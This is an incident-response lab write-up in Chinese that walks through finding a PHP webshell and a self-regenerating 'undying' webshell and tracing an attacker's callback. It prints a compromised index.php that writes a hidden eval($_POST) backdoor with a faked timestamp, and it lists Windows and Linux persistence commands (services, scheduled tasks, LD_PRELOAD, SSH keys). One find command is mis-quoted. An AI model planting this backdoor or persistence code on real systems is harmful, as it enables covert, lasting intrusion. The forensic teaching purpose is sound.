靶机排查目标:
1.web目录存在木马,请找到木马的密码提交
查看/var/www/html。
使用find命令查找
find ./ -type f -name "*.php | xargs grep "eval("
查看到1.php里面存在无条件一句话木马。
2.服务器疑似存在不死马,请找到不死马的密码提交
什么是不死马?
一种通过修改系统配置、注入合法进程或利用漏洞实现自启动和隐蔽运行的恶意程序,即使系统重启或杀毒软件扫描也难以清除。
- 特点:
- 持久化:通过注册表、计划任务、系统服务等方式实现自启动。
- 隐蔽性:伪装成系统进程、注入合法程序或隐藏文件。
- 对抗检测:可能禁用安全软件、清除日志或动态更换进程名。
windows下常见的隐藏位置
注册表键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
启动文件夹:
C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
系统服务
通过sc.exe
或服务管理器(services.msc)创建恶意服务:
sc create "假服务名" binPath="恶意程序路径" start=auto
计划任务
使用schtasks
创建定时任务:
schtasks /create /tn "伪装任务" /tr "恶意程序路径" /sc onstart /ru SYSTEM
进程注入:
- 注入到
explorer.exe
、svchost.exe
等合法进程内存中,通过工具如Process Hollowing
实现。
文件隐藏
- 隐藏文件:通过
attrib +h +s
隐藏文件。 - 系统目录
C:\Windows\System32
C:\Windows\Temp
C:\Users\<用户名>\AppData\Local\Temp
linux下常见隐藏位置
1) 自启动脚本
- rc.local(需执行权限):
/etc/rc.local
cron计划任务:
/etc/crontab
/var/spool/cron/<用户名>
/etc/cron.d/
systemd服务:
/etc/systemd/system/恶意服务.service
~/.config/systemd/user/
(2) 动态链接库注入
- 修改
LD_PRELOAD
环境变量,劫持合法程序:
echo 'export LD_PRELOAD=/lib/恶意库.so' >> ~/.bashrc
(3) 隐藏进程/文件
- 隐藏进程:通过
libprocesshider
等工具隐藏进程。 - 隐藏文件:
/tmp/.恶意文件(以点开头)
/dev/shm/(内存文件系统)
/usr/lib/.hidden/
(4) SSH后门
- 修改
authorized_keys
或sshd
配置文件:
~/.ssh/authorized_keys # 添加攻击者公钥
/usr/lib/ssh/ssh-xxx(替换ssh二进制文件)
防护手段
windows
工具:
Autoruns
(检查自启动项)Process Explorer
(分析进程树)PowerShell
命令:
Get-WmiObject Win32_StartupCommand | Select-Object Name, Command, Location
- 日志:
检查事件查看器(eventvwr.msc
)中的异常登录或服务启动记录。
linux的
- 工具:
- systemctl list-unit-files --type=service # 列出所有服务及其状态
crontab -l
(检查计划任务)lsmod
(查看内核模块)
lsof -i # 查看异常网络连接
find / -type f -perm /4000 # 查找SUID可疑文件
root@ip-10-0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
file_put_contents
是 PHP 中用于将数据写入文件的函数,功能类似于依次调用 fopen()
、fwrite()
和 fclose()
的组合,但更简洁高效
从这里可以看出来这里在创建木马文件,把木马文件放到.shell.php中并修改时间戳,掩盖修改。
这里不死马的密码就是那串md5值
3.不死马是通过哪个文件生成的,请提交文件名
从第二步中可以看出是由index.php生成的
4.黑客留下了木马文件,请找出黑客的服务器ip和端口提交
刚才查看网站根目录的时候发现了一个可疑文件。
运行。
发现没有权限。
使用命令
chmod +x ./'shell(1).elf'
+x是赋予这个文件执行的权限
执行之后使用netstat来查看我们的网络连接和监听端口情况。
netstat
命令
netstat
是一个网络工具,用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息。
选项和参数
-a
:显示所有连接中的端口,包括监听和非监听。-n
:以数字形式显示地址和端口号,而不是将其解析为主机名或服务名。-t
:显示 TCP 连接。-l
:显示监听状态的套接字。-p
:显示使用每个套接字的程序。
另外开一个窗口执行netstat命令查看连接情况。
用lsof也是可以的
lsof -i
发现了黑客的ip地址和端口情况。